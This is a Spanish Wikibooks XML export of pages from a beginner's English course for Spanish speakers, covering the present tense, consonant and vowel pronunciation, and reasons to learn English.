Inglés

<mediawiki xmlns="http://www.mediawiki.org/xml/export-0.11/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.mediawiki.org/xml/export-0.11/ http://www.mediawiki.org/xml/export-0.11.xsd" version="0.11" xml:lang="es">
  <siteinfo>
    <sitename>Wikilibros</sitename>
    <dbname>eswikibooks</dbname>
    <base>https://es.wikibooks.org/wiki/Portada</base>
    <generator>MediaWiki 1.47.0-wmf.13</generator>
    <case>first-letter</case>
    <namespaces>
      <namespace key="-2" case="first-letter">Medio</namespace>
      <namespace key="-1" case="first-letter">Especial</namespace>
      <namespace key="0" case="first-letter" />
      <namespace key="1" case="first-letter">Discusión</namespace>
      <namespace key="2" case="first-letter">Usuario</namespace>
      <namespace key="3" case="first-letter">Usuario discusión</namespace>
      <namespace key="4" case="first-letter">Wikilibros</namespace>
      <namespace key="5" case="first-letter">Wikilibros discusión</namespace>
      <namespace key="6" case="first-letter">Archivo</namespace>
      <namespace key="7" case="first-letter">Archivo discusión</namespace>
      <namespace key="8" case="first-letter">MediaWiki</namespace>
      <namespace key="9" case="first-letter">MediaWiki discusión</namespace>
      <namespace key="10" case="first-letter">Plantilla</namespace>
      <namespace key="11" case="first-letter">Plantilla discusión</namespace>
      <namespace key="12" case="first-letter">Ayuda</namespace>
      <namespace key="13" case="first-letter">Ayuda discusión</namespace>
      <namespace key="14" case="first-letter">Categoría</namespace>
      <namespace key="15" case="first-letter">Categoría discusión</namespace>
      <namespace key="710" case="first-letter">TimedText</namespace>
      <namespace key="711" case="first-letter">TimedText talk</namespace>
      <namespace key="828" case="first-letter">Módulo</namespace>
      <namespace key="829" case="first-letter">Módulo discusión</namespace>
      <namespace key="1728" case="first-letter">Evento</namespace>
      <namespace key="1729" case="first-letter">Evento discusión</namespace>
    </namespaces>
  </siteinfo>
  <page>
    <title>Inglés</title>
    <ns>0</ns>
    <id>687</id>
    <revision>
      <id>429789</id>
      <parentid>422024</parentid>
      <timestamp>2026-08-01T21:57:17Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>429789</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="963" sha1="px80oewgeagspuemhw1trf3nuq20imm" xml:space="preserve">{{+Portada/c
|nombre       = Inglés
|título       = Curso completo de Inglés
|subtítulo    = Welcome!
|imagen       = EnglishBookLogo.png
|sección1     = Anexo
|sección2     = Gramática
|sección3     = Vocabulario
|sección4     = 
|sección5     = 
|sección6     = Pronunciación
|sección7     = 
|sección8     = 
|sección9     = Inglés antiguo
|sección10    = 
|sección11    = 
|sección12    = 
|sección13    = 
|sección14    = 
|sección15    =	
|sección16    = 
|sección17    = 
|sección18    = 
|sección19    = 
|sección20    = 
|sección21    = 
|sección22    = 
|sección23    = 
|sección24    = 
|sección25    = 
|sección26    = 
|sección27    = 
|sección28    = 
|sección29    = 
|sección30    = 
|rutacarrusel = 
|titcarrusel  = 
|textoedición = 
|ancho        = 
|alineartit   = 
|_imagenlink   = 
|_imagenedit   = 
|tono         = azul
|tonoedición  = gris
|tonoenlaces  = gris
|redondeo     = 
}}
{{Estantes|Idiomas}}</text>
      <sha1>px80oewgeagspuemhw1trf3nuq20imm</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/El tiempo presente</title>
    <ns>0</ns>
    <id>688</id>
    <revision>
      <id>429807</id>
      <parentid>375065</parentid>
      <timestamp>2026-08-01T22:00:18Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429807</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5765" sha1="5xaraomick0swpacayrs5gpxta6swrh" xml:space="preserve">'''Esta página necesita ser revisada, especialmente la información sobre la pronunciación de las expresiones inglesas'''.

= Tiempo presente simple - Present Tense =

Como en el español, el tiempo presente es usado para declarar afirmaciones o hechos ciertos, o bien, eventos que generalmente ocurren. Si bien su nombre es “tiempo presente”, generalmente expresan situaciones que ocurren, han ocurrido antes y probablemente ocurrirán en un futuro. Por ejemplo:

En inglés, la conjugación de un verbo regular en tiempo presente simple es muy sencilla. Por ejemplo, para el verbo “ to eat” / comer, tenemos

&lt;center&gt;
{| width=&quot;450&quot; border=&quot;1&quot;
|-
! scope=&quot;col&quot; | Singular
! scope=&quot;col&quot; | Plural
|-
| I eat / yo como || we eat / nosotros comemos
|-
| you eat / tu comes || you eat / ustedes comen
|-
| he eats / el come || they eat / ellos comen
|-
| she eats / ella come || rowspan=&quot;2&quot; | &amp;nbsp;
|-
| it eats / el o ella (objeto o animal) come
|}&lt;/center&gt;


Como para el caso del verbo anterior, la conjugación de un verbo en tiempo presente simple consiste, en la mayoría de los casos, en emplear su forma en infinitivo, eliminando solo la parte “to”, y agregándosele la terminación “s” para el caso de las terceras personas del singular. 

Ejemplos:

'''To buy''' / comprar
:I buy
:you buy
:he buys	
:she buys
:it buys	
:we buy
:you buy	
:they buy

&lt;!--
:'''I buy'''	/ái 'bái/8
:'''You buy'''	/iu 'bái/
:'''He buys'''	/jiː 'báiz/
:'''She buys'''	/shiː 'báiz/
:'''It buys'''	*/it 'báiz/ 
:'''We buy'''	/uiː 'bái/
:'''You buy'''	/iu 'bái/
:'''They buy'''	/dey 'bái/
--&gt;

'''To drink''' / tomar, beber
:I drink
:you drink
:he drinks
:she drinks
:it drinks
:we drink
:you drink
:they drink

== Uses of The Present Tense ==
Acciones actuales:
:«The frog jumps».	La rana brinca.
Hábitos y acciones repetitivas: 
:«Susan goes to school».	Susan va a la escuela.
:«Thomas smokes».	Thomas fuma.
Habilidades:
:«Alex speaks French». Alex habla francés.
Condiciones actuales:
:«He knows».	Él sabe.
:«It is in the box». (Eso) Está en la caja.
Verdades no cambiantes:
:«Snow is cold».	La nieve es fría.
Preferencias:
:«We like sports».	Nos gustan los deportes.
Y a veces, el futuro:
:«My plane takes off this evening».	Mi avión despega esta noche.

== Irregular verbs	Verbos irregulares ==

Hay unos verbos que no se conjugan regularmente en el inglés. Unos ejemplos:
{| {{+Tabla|90%|center}}
! {{+Celda|5}} |Pronombre
! {{+Celda|5}} |Inglés
! {{+Celda|5}} |Pronunciación
! {{+Celda|5}} |Español
|----
|{{+Celda|10|130%|100%|center|{{RGB|rojo7}}|{{RGB|rojo1}}|columnas=4}}| Verbo &quot;to be&quot;
|----
|{{+Celda}}| I
|{{+Celda}}| am
|{{+Celda}}| am
|{{+Celda}}| Soy / estoy
|----
|{{+Celda}}| You
|{{+Celda}}| are
|{{+Celda}}| ar
|{{+Celda}}| eres/estás/sois/estáis
|----
|{{+Celda}}| he/she/it
|{{+Celda}}| is
|{{+Celda}}| iz
|{{+Celda}}| es/está
|----
|{{+Celda}}| we
|{{+Celda}}| are
|{{+Celda}}| ar
|{{+Celda}}| somos/estamos
|----
|{{+Celda}}| they
|{{+Celda}}| are
|{{+Celda}}| ar
|{{+Celda}}| son/están
|----
|{{+Celda|10|130%|100%|center|{{RGB|rojo7}}|{{RGB|rojo1}}|columnas=4}}| Verbo &quot;To have&quot; haber/tener
|----
|{{+Celda}}| I
|{{+Celda}}| have
|{{+Celda}}| jav
|{{+Celda}}| tengo/he
|----
|{{+Celda}}| You
|{{+Celda}}| have
|{{+Celda}}| jav
|{{+Celda}}| tienes/has/tenéis/habéis
|----
|{{+Celda}}| he/she/it
|{{+Celda}}| has
|{{+Celda}}| jaz
|{{+Celda}}| tiene/ha
|----
|{{+Celda}}| we
|{{+Celda}}| have
|{{+Celda}}| jav
|{{+Celda}}| tenemos/hemos
|----
|{{+Celda}}| they
|{{+Celda}}| have
|{{+Celda}}| jav
|{{+Celda}}| tienen/han
|----
|{{+Celda|10|130%|100%|center|{{RGB|rojo7}}|{{RGB|rojo1}}|columnas=4}}| Verbo &quot;To do&quot; hacer una acción
|----
|{{+Celda}}| I
|{{+Celda}}| do
|{{+Celda}}| du
|{{+Celda}}| hago
|----
|{{+Celda}}| You
|{{+Celda}}| do
|{{+Celda}}| du
|{{+Celda}}| hace/hacen
|----
|{{+Celda}}| he/she/it
|{{+Celda}}| does
|{{+Celda}}| daz
|{{+Celda}}| hace
|----
|{{+Celda}}| we
|{{+Celda}}| do
|{{+Celda}}| du
|{{+Celda}}| hacemos
|----
|{{+Celda}}| they
|{{+Celda}}| do
|{{+Celda}}| du
|{{+Celda}}| hacen
|}
* nota- en inglés, hay que usar siempre los pronombres a menos de que sea un mandato.
* nota- en inglés, &quot;I&quot; siempre es mayuscula

=== To try (intentar) ===
I, you, we, they:	try	/træ
He, she it:	tries	/traiz/

=== To watch (mirar, quedarse viendo) ===
I, you, we, they:	watch	/wach/
He, she it:	watches	/wachz/

=== To go (ir) ===
I, you, we, they:	go	/go/
He, she it:	goes	/gouz/


=== Change on 3rd person singular (cambio en la tercera persona singular) ===

Verbos en tercera persona he, she, it cambian como ya se vió:

Verbos terminados en -'''''o''''' , como por ejemplo '''''go''''' , adquieren -'''''es'''''

Verbos terminados en -'''''sh''''', como por ejemplo '''''wash''''', adquieren -'''''es'''''

Verbos terminados en -'''''y''''', pero que antes tengan consonante como '''''study''''', adquieren -'''''ies'''''

Verbos terminados en -'''''y''''', pero que antes tengan vocal, como '''''say''''', adquieren -'''''s'''''

Verbos terminados en -'''''ss''''', como '''''kiss''''', (besar) adquieren -'''''es'''''

El verbo HAVE es irregular y cambia para '''''has' en la tercera persona:

«He has a dog». Él tiene un perro.

El verbo &quot;to be&quot; es completamente irregular.

{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;

! colspan=3 | español  !!  Infinitivo  !!  3PS 
|-
! colspan=3 | ir  !!  to go !! goes 
|-
! colspan=3 | hacer(hacer un verbo)!! to do !! does
|-
! colspan=3 | lavar(se)  !!  to wash  !!  washes
|-
! colspan=3 | estudiar  !!  to study  !!  studies 
|-
! colspan=3 | decir  !!  to say(intransativo)  !! says  
|-
! colspan=3 | besar  !!  to kiss  !!  kisses
|-
|}

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>5xaraomick0swpacayrs5gpxta6swrh</sha1>
    </revision>
    <revision>
      <id>429888</id>
      <parentid>429807</parentid>
      <timestamp>2026-08-01T22:09:03Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429888</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5725" sha1="j6sn8adb00lc07qytz9thdrd7udyuve" xml:space="preserve">'''Esta página necesita ser revisada, especialmente la información sobre la pronunciación de las expresiones inglesas'''.

= Tiempo presente simple - Present Tense =

Como en el español, el tiempo presente es usado para declarar afirmaciones o hechos ciertos, o bien, eventos que generalmente ocurren. Si bien su nombre es “tiempo presente”, generalmente expresan situaciones que ocurren, han ocurrido antes y probablemente ocurrirán en un futuro. Por ejemplo:

En inglés, la conjugación de un verbo regular en tiempo presente simple es muy sencilla. Por ejemplo, para el verbo “ to eat” / comer, tenemos

&lt;center&gt;
{| width=&quot;450&quot; border=&quot;1&quot;
|-
! scope=&quot;col&quot; | Singular
! scope=&quot;col&quot; | Plural
|-
| I eat / yo como || we eat / nosotros comemos
|-
| you eat / tu comes || you eat / ustedes comen
|-
| he eats / el come || they eat / ellos comen
|-
| she eats / ella come || rowspan=&quot;2&quot; | &amp;nbsp;
|-
| it eats / el o ella (objeto o animal) come
|}&lt;/center&gt;


Como para el caso del verbo anterior, la conjugación de un verbo en tiempo presente simple consiste, en la mayoría de los casos, en emplear su forma en infinitivo, eliminando solo la parte “to”, y agregándosele la terminación “s” para el caso de las terceras personas del singular. 

Ejemplos:

'''To buy''' / comprar
:I buy
:you buy
:he buys	
:she buys
:it buys	
:we buy
:you buy	
:they buy

&lt;!--
:'''I buy'''	/ái 'bái/8
:'''You buy'''	/iu 'bái/
:'''He buys'''	/jiː 'báiz/
:'''She buys'''	/shiː 'báiz/
:'''It buys'''	*/it 'báiz/ 
:'''We buy'''	/uiː 'bái/
:'''You buy'''	/iu 'bái/
:'''They buy'''	/dey 'bái/
--&gt;

'''To drink''' / tomar, beber
:I drink
:you drink
:he drinks
:she drinks
:it drinks
:we drink
:you drink
:they drink

== Uses of The Present Tense ==
Acciones actuales:
:«The frog jumps».	La rana brinca.
Hábitos y acciones repetitivas: 
:«Susan goes to school».	Susan va a la escuela.
:«Thomas smokes».	Thomas fuma.
Habilidades:
:«Alex speaks French». Alex habla francés.
Condiciones actuales:
:«He knows».	Él sabe.
:«It is in the box». (Eso) Está en la caja.
Verdades no cambiantes:
:«Snow is cold».	La nieve es fría.
Preferencias:
:«We like sports».	Nos gustan los deportes.
Y a veces, el futuro:
:«My plane takes off this evening».	Mi avión despega esta noche.

== Irregular verbs	Verbos irregulares ==

Hay unos verbos que no se conjugan regularmente en el inglés. Unos ejemplos:
{| {{+Tabla|90%|center}}
! {{+Celda|5}} |Pronombre
! {{+Celda|5}} |Inglés
! {{+Celda|5}} |Pronunciación
! {{+Celda|5}} |Español
|----
|{{+Celda|10|130%|100%|center|{{RGB|rojo7}}|{{RGB|rojo1}}|columnas=4}}| Verbo &quot;to be&quot;
|----
|{{+Celda}}| I
|{{+Celda}}| am
|{{+Celda}}| am
|{{+Celda}}| Soy / estoy
|----
|{{+Celda}}| You
|{{+Celda}}| are
|{{+Celda}}| ar
|{{+Celda}}| eres/estás/sois/estáis
|----
|{{+Celda}}| he/she/it
|{{+Celda}}| is
|{{+Celda}}| iz
|{{+Celda}}| es/está
|----
|{{+Celda}}| we
|{{+Celda}}| are
|{{+Celda}}| ar
|{{+Celda}}| somos/estamos
|----
|{{+Celda}}| they
|{{+Celda}}| are
|{{+Celda}}| ar
|{{+Celda}}| son/están
|----
|{{+Celda|10|130%|100%|center|{{RGB|rojo7}}|{{RGB|rojo1}}|columnas=4}}| Verbo &quot;To have&quot; haber/tener
|----
|{{+Celda}}| I
|{{+Celda}}| have
|{{+Celda}}| jav
|{{+Celda}}| tengo/he
|----
|{{+Celda}}| You
|{{+Celda}}| have
|{{+Celda}}| jav
|{{+Celda}}| tienes/has/tenéis/habéis
|----
|{{+Celda}}| he/she/it
|{{+Celda}}| has
|{{+Celda}}| jaz
|{{+Celda}}| tiene/ha
|----
|{{+Celda}}| we
|{{+Celda}}| have
|{{+Celda}}| jav
|{{+Celda}}| tenemos/hemos
|----
|{{+Celda}}| they
|{{+Celda}}| have
|{{+Celda}}| jav
|{{+Celda}}| tienen/han
|----
|{{+Celda|10|130%|100%|center|{{RGB|rojo7}}|{{RGB|rojo1}}|columnas=4}}| Verbo &quot;To do&quot; hacer una acción
|----
|{{+Celda}}| I
|{{+Celda}}| do
|{{+Celda}}| du
|{{+Celda}}| hago
|----
|{{+Celda}}| You
|{{+Celda}}| do
|{{+Celda}}| du
|{{+Celda}}| hace/hacen
|----
|{{+Celda}}| he/she/it
|{{+Celda}}| does
|{{+Celda}}| daz
|{{+Celda}}| hace
|----
|{{+Celda}}| we
|{{+Celda}}| do
|{{+Celda}}| du
|{{+Celda}}| hacemos
|----
|{{+Celda}}| they
|{{+Celda}}| do
|{{+Celda}}| du
|{{+Celda}}| hacen
|}
* nota- en inglés, hay que usar siempre los pronombres a menos de que sea un mandato.
* nota- en inglés, &quot;I&quot; siempre es mayuscula

=== To try (intentar) ===
I, you, we, they:	try	/træ
He, she it:	tries	/traiz/

=== To watch (mirar, quedarse viendo) ===
I, you, we, they:	watch	/wach/
He, she it:	watches	/wachz/

=== To go (ir) ===
I, you, we, they:	go	/go/
He, she it:	goes	/gouz/


=== Change on 3rd person singular (cambio en la tercera persona singular) ===

Verbos en tercera persona he, she, it cambian como ya se vió:

Verbos terminados en -'''''o''''' , como por ejemplo '''''go''''' , adquieren -'''''es'''''

Verbos terminados en -'''''sh''''', como por ejemplo '''''wash''''', adquieren -'''''es'''''

Verbos terminados en -'''''y''''', pero que antes tengan consonante como '''''study''''', adquieren -'''''ies'''''

Verbos terminados en -'''''y''''', pero que antes tengan vocal, como '''''say''''', adquieren -'''''s'''''

Verbos terminados en -'''''ss''''', como '''''kiss''''', (besar) adquieren -'''''es'''''

El verbo HAVE es irregular y cambia para '''''has' en la tercera persona:

«He has a dog». Él tiene un perro.

El verbo &quot;to be&quot; es completamente irregular.

{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;

! colspan=3 | español  !!  Infinitivo  !!  3PS 
|-
! colspan=3 | ir  !!  to go !! goes 
|-
! colspan=3 | hacer(hacer un verbo)!! to do !! does
|-
! colspan=3 | lavar(se)  !!  to wash  !!  washes
|-
! colspan=3 | estudiar  !!  to study  !!  studies 
|-
! colspan=3 | decir  !!  to say(intransativo)  !! says  
|-
! colspan=3 | besar  !!  to kiss  !!  kisses
|-
|}

{{AutoCat}}</text>
      <sha1>j6sn8adb00lc07qytz9thdrd7udyuve</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Pronunciación/Sonidos</title>
    <ns>0</ns>
    <id>690</id>
    <revision>
      <id>429861</id>
      <parentid>392487</parentid>
      <timestamp>2026-08-01T22:06:12Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429861</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5313" sha1="pvtqrcb18nj9xn4b9mb15riaqee6ef6" xml:space="preserve">==Consonantes simples==
{|style=&quot;border-color:#aaccff;border-width:1px;width:85%;border-style:solid;background-color:#ffffff;margin-left:10px;margin-top:10px;margin-bottom:10px&quot;align=&quot;center&quot;cellpadding=&quot;3&quot;
!style=&quot;background:#aaccff;width:5%&quot;align=&quot;center&quot; |'''Letra'''
!style=&quot;background:#aaccff;width:5%&quot;align=&quot;center&quot; |'''Nombre'''
!style=&quot;background:#aaccff;width:5%&quot;align=&quot;center&quot; |'''Símbolo'''
!style=&quot;background:#aaccff;width:45%&quot;align=&quot;center&quot; |'''Pronunciación'''
!style=&quot;background:#aaccff;width:45%&quot;align=&quot;center&quot; |'''Ejemplos'''
|-style=&quot;background-color:#F0F8FF&quot;
| '''B''' || bi || [b] || Plosiva, como en em'''b'''arcar ||{{audio|en-us-be.ogg|'''be'''}} &quot;ser&quot;
|-
| '''C''' || ci || [k]/[s] || [k] antes de '''a''', '''o''' y '''u''' y [s] antes de '''e''', '''i''' e '''y'''. || {{audio|en-us-come.ogg|'''come'''}} &quot;venir&quot;
{{audio|en-us-city.ogg|'''city'''}} &quot;ciudad&quot;
|- style=&quot;background-color:#F0F8FF&quot;vase
 
| '''D''' || di || [d] || Plosiva, como la primera ''d'' en '''d'''ado || {{audio|en-us-dog.ogg|'''dog'''}} &quot;perro&quot;
|-
| '''F''' || ef || [f] || Igual que en español || {{audio|en-us-fate.ogg|'''fate'''}} &quot;destino&quot;
|- style=&quot;background-color:#F0F8FF&quot;
| '''G''' || gi [dʒi] || [g]/[dʒ] || [g] antes de '''a''', '''o''' y '''u''' y [dʒ] antes de '''e''', '''i''' e '''y''' (a veces varía, depende de la palabra). || {{audio|en-us-game.ogg|'''game'''}} &quot;juego&quot;
{{audio|en-us-give.ogg|'''give'''}} [gɪv] &quot;dar&quot;&lt;br/&gt;
{{audio|en-us-giant.ogg|'''giant'''}} [ˈdʒaɪənt] &quot;gigante&quot;
|-
| '''H''' || eich || [h] || Se parece al sonido de la 'J' pero es más suave ||
|- style=&quot;background-color:#F0F8FF&quot;
| '''J''' || jei || [dʒ] || Es un sonido entre la 'D', la 'Ch' y la 'Ll'/'Y' || {{audio|en-us-jacket.ogg|'''jacket'''}} &quot;chaqueta&quot;
|-
| '''K''' || kei || [k] || Igual que en español || {{audio|en-us-keep.ogg|'''keep'''}} &quot;guardar, mantener&quot;
|- style=&quot;background-color:#F0F8FF&quot;
| '''L''' || el || [l] || Igual que en Español. La 'Ll' suena como una 'L' larga. || {{audio|en-us-lake.ogg|'''lake'''}} &quot;lago&quot;
|-
| '''M''' || em || [m] || Igual que en español || {{audio|en-us-message.ogg|'''message'''}} &quot;mensaje&quot;
|- style=&quot;background-color:#F0F8FF&quot;
| '''N''' || en || [n] || Igual que en español || {{audio|en-us-never.ogg|'''never'''}}
&quot;nunca&quot;
|-
| '''P''' || pi || [p] || Igual que en español || {{audio|en-us-paint.ogg|'''paint'''}} &quot;pintura&quot;
|- style=&quot;background-color:#F0F8FF&quot;
| '''Q''' || kiú || [k] || Siempre va acompañada de 'U' (q + u = qu[kw]) || {{audio|en-us-queen.ogg|'''queen'''}} &quot;reina&quot;
|-
| '''R''' || ar || [r]/[ɽ] || La 'R' inglesa es parecida a la 'R' fuerte del español. La 'R' americana es como la 'R' suave pero con la lengua más atrás || {{audio|en-us-red.ogg|'''red''' (americano)}} &quot;rojo&quot;
|- style=&quot;background-color:#F0F8FF&quot;
| '''S''' || es || [s] || Igual que en español || {{audio|en-us-see.ogg|'''see'''}} &quot;ver&quot;
|-
| '''T''' || ti || [t] || Igual que en español || {{audio|en-us-tea.ogg|'''tea'''}} &quot;té&quot;
|- style=&quot;background-color:#F0F8FF&quot;
| '''V''' || vi || [v] || Es como una f, pero con vibración de las cuerdas vocales || {{audio|en-us-vase.ogg|'''vase'''}} &quot;florero, jarrón&quot;
|-
| '''W''' || dobliú || [w] || Es una 'U' en diptongos || {{audio|en-us-wall.ogg|'''wall'''}} &quot;pared&quot;
|- style=&quot;background-color:#F0F8FF&quot;
| '''X''' || ex || [ks]/[gz] || Similar al español || {{audio|en-us-box.ogg|'''box'''}} &quot;caja&quot;
|-
| '''Y''' || wai || [j] || Es una 'I' en diptongos || {{audio|en-us-yes.ogg|'''yes'''}} &quot;sí&quot;
|- style=&quot;background-color:#F0F8FF&quot;
| '''Z''' || zi || [z] ||'S' más sonora, como en mu'''s'''go, o ''s'' francesa || {{audio|en-us-zero.ogg|'''zero'''}} &quot;cero&quot;
|-
|}

==Vocales==
Las vocales son probablemente la parte más difícil de la pronunciación. Aprendiendo hacerlas lleva mucho tiempo y esfuerzo, pero sin poder hablar correctamente nadie te puede entender. ¡Tienes que aprenderlas!

Es importante comprender que en inglés las vocales son tan irregulares que coincide muy raramente con la escritura. Por esto, es mejor aprender las vocales individuales y luego aprender las palabras.

(Nota: estas están basadas en RP (Español: Pronunciación Estándar) que es hablado en el Reino Unido). 

{|style=&quot;border-color:#aaccff;border-width:1px;width:85%;border-style:solid;background-color:#ffffff;margin-left:10px;margin-top:10px;margin-bottom:10px&quot; align=&quot;center&quot; cellpadding=&quot;3&quot;
! style=&quot;background:#aaccff;width:5%&quot; align=&quot;center&quot; |'''Letra'''
! style=&quot;background:#aaccff;width:5%&quot; align=&quot;center&quot; |'''Nombre'''
! style=&quot;background:#aaccff;width:5%&quot; align=&quot;center&quot; |'''Símbolo'''
! style=&quot;background:#aaccff;width:45%&quot; align=&quot;center&quot; |'''Pronunciación'''
! style=&quot;background:#aaccff;width:45%&quot; align=&quot;center&quot; |'''Ejemplos'''
|- style=&quot;background-color:#F0F8FF&quot;
| A || é || [æ] || Plosiva, como en '''a'''vion o '''a'''ca || '''a''' &quot;Avión&quot;
|-
| E || i: || [e] || || {{audio|en-us-welcome.ogg|'''Welcome'''}} &quot;Bienvenido(a)&quot;
|-
| I || ái || [i:] || Como I en español, pero más largo || &quot;Vino&quot;
|-
| O || óu || || || &quot;No&quot;
|-
| U || iú: || [uː] || Como U en español, pero más largo || &quot;Azul&quot;
|}

==Ver también==
Para los sonidos individuales, se puede usar esto para mejorar su capacidad de distinguirlos y reproducirlos (también enseña las diferencias entre el inglés del Reino Unido y de

{{AutoCat}}</text>
      <sha1>pvtqrcb18nj9xn4b9mb15riaqee6ef6</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Introducción</title>
    <ns>0</ns>
    <id>2180</id>
    <revision>
      <id>429896</id>
      <parentid>338850</parentid>
      <timestamp>2026-08-01T22:09:08Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429896</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="10056" sha1="emvyl0hzveoqbz504yduipfhhcr655o" xml:space="preserve">== Why study English? (¿porque estudiar inglés?) ==
You have already made the decision to study English. So you have your reasons to do so. But let's take a moment to see some of the benefits that you may not have considered. (Ya tomaste la decisión de estudiar el inglés. Entonces tienes tus razones porque hacerlo. Pero vamos a tomar un momento para ver algunos de los beneficios que tal vez no has considerado) 	 
		 
#English is very useful (el inglés es muy útil) Desde leer instrucciones para un aparato, de poder leer cosas que no se han traducido al español, o leer cosas en su idioma original (recuerda que ninguna traducción es perfecta; a fuerzas se pierden cosas al traducir). 	 
#Communicate with people all over the world. (Comunícate con gente de todas partes del mundo) Tal vez el amor es el lenguaje universal, pero el inglés es el idioma global. Lo podrás usar para viajar, trabajar en el extranjero o con extranjeros, para leer artículos y documentaciones de fuera del país, para conocer a otras culturas, para ver a películas sin subtítulos, ... 	 
#Many jobs now require English (muchos trabajos ahora requieren el inglés) Y aunque en otros no se requiere, es una gran ventaja poder ganar el contrato cuando hablas inglés y el otro no. Y una desventaja si él habla y tu no.
#Once you learn it, you can use it forever (una vez que lo aprendas, lo podrás usar para siempre) Es mejor que aprendas de una vez, así podrás aprovechar por el resto de tu vida. ¿Por qué esperar hasta viejito? 
#You can teach your kids and help them with their homework (puedes enseñarles a tus hijos y ayudarles con su tarea) No te quedes avergonzado frente tus hijos cuando lo estudien en la escuela. Mejor, ponte a aprender y luego podrás practicar con ellos en dos idiomas desde niños. 
#Personal satisfaction (la satisfacción personal) Nos da un gusto profundo lograr algo valioso y crecer como individuo. 
#Write your own motivations here: (escribe tus propios motivaciones aquí)(Me llamo Steven Marcus de academia guaranteed ingles en Murcia España.)
           
Muchos alumnos quieren aprender la música americana, entonces quieren aprender inglés americano con su argot y refranes. Más práctica es la necesidad de saber inglés para ser parte de la comunidad Europea. El inglés de hoy en día es realmente variado hay ingleses...de Inglaterra, Los Estados Unidos, Australia, Sudafrica, Canadá, Irlanda y más países. No importa con quien aprendas ya que con un buen nivel se puede entender todos las variaciones de inglés. El momento de empezar a estudiar inglés es la infancia. Las escuelas publicas deberian enseñar en inglés algunas asignaturas cuando el alumno entra en su escuela a los 3 años. También, no deberías ver mucha televisión doblada. La version original  es recomendada. _____

== Why English is so easy (Por qué el inglés es tan fácil.) ==

There are many reasons why English is easy to learn. (Hay muchas razones por las que el inglés es fácil de aprender.) 

#Shared origins, similar words (orígenes compartidos, palabras parecidas) El inglés tiene muchas palabras que vienen del latín, que es el origen del español. Entonces puedes adivinar el significado de muchas palabras nuevas porque se parecen a palabras que ya conoces. Unos ejemplos: music, group, elegant, important, correct, person, possible, December, vampire … Para entender la importancia de eso, imagínate el estrés de estudiar el japonés o el chino, que no tienen nada en común con el español. Y hay gente que lo aprende. 

:The consonants and consonant sounds are the same (los consonantes y sus sonidos son los mismos) Así que todo el trabajo que invertiste en el kinder para aprender los consonantes te vuelve a rendir resultado. 

:The grammar is similar (la gramática es parecida) Sí hay diferencias entre la gramática en inglés y en español, pero mucha es lo mismo. 
#Many English words have already entered into Spanish unchanged (muchas palabras inglesas ya han entrado en el español sin cambio) Palabras como spa, bar, spinning, club, bye, OK, etc. son de origen inglés y significan lo mismo, o casi lo mismo, que en español. 
#Spanglish: other Spanish words are based on English words (el spanglish: algunas palabras del español están basadas en palabras del inglés) Palabras como rentar, bonche, cachar, troca, bloquear, lonche, banda, computadora, etc. tienen primos muy parecidos en el inglés. 
#You probably already know some English words (tú probablemente ya sabes algunas palabras en inglés) Se escuchan hasta en la calle: one, two, three, mother, father, sister, brother, left, right, yes, no. 
#Basic English is simple (el inglés básico es sencillo) Para poder lograr entenderse bien, realmente no se necesita aprender a la perfección. El hablarlo perfectamente sí cuesta más trabajo, pero un inglés muy sencillo basta para comunicar la mayoría de las cosas. 
#Sometimes, English has fewer words than Spanish (de vez en cuando, el inglés tiene menos palabras que el español) Muchas veces, una sola palabra en inglés hace el trabajo de más que una palabra en español. Example: love quiere decir: amar, querer; like quiere decir: gustar, caerse bien, agradar, como; 
#There are many chances to practice your English (hay muchas oportunidades para practicar tu inglés) Ya que mucho entretenimiento viene de los Estados Unidos en forma de: películas, música, televisión y la mayor parte de información en Internet está en inglés, tienes muchas oportunidades de estar escuchando y leyendo el inglés a cada rato. 
#There are many tools to help you (hay muchas herramientas que te ayudan) Desde clases hasta libros, software, videos, maestros particulares, CDs, viajes, sitios de Internet, clubs, películas, hablar con amigos norteamericanos y hasta muchas cosas más ...

==''Hard things'' about English (''cosas difíciles'' del inglés) ==

Not everything in English is easy. Here are ''some'' things ''[[to look out for]]''. (No todo en el inglés es fácil. Aquí hay ''algunas'' cosas [[que debes cuidar]]) 

#English has many sounds that do not exist in Spanish (el inglés tiene muchos sonidos que no existen en el español) Especialmente se vuelve un problema en los vocales – el inglés tiene más de veinte vocales distintas, mientras el español tiene unas cinco solamente. 
#Spoken English is not the same as written English (el inglés hablado no es el mismo que el inglés escrito) Escribir y deletrear bien no es tan sencillo como en español. El inglés tiene raíces en muchos idiomas, y por eso a veces tiene reglas más complicadas de cómo escribir los sonidos, y tiene muchas palabras prestadas que al parecer no siguen ninguna regla. 
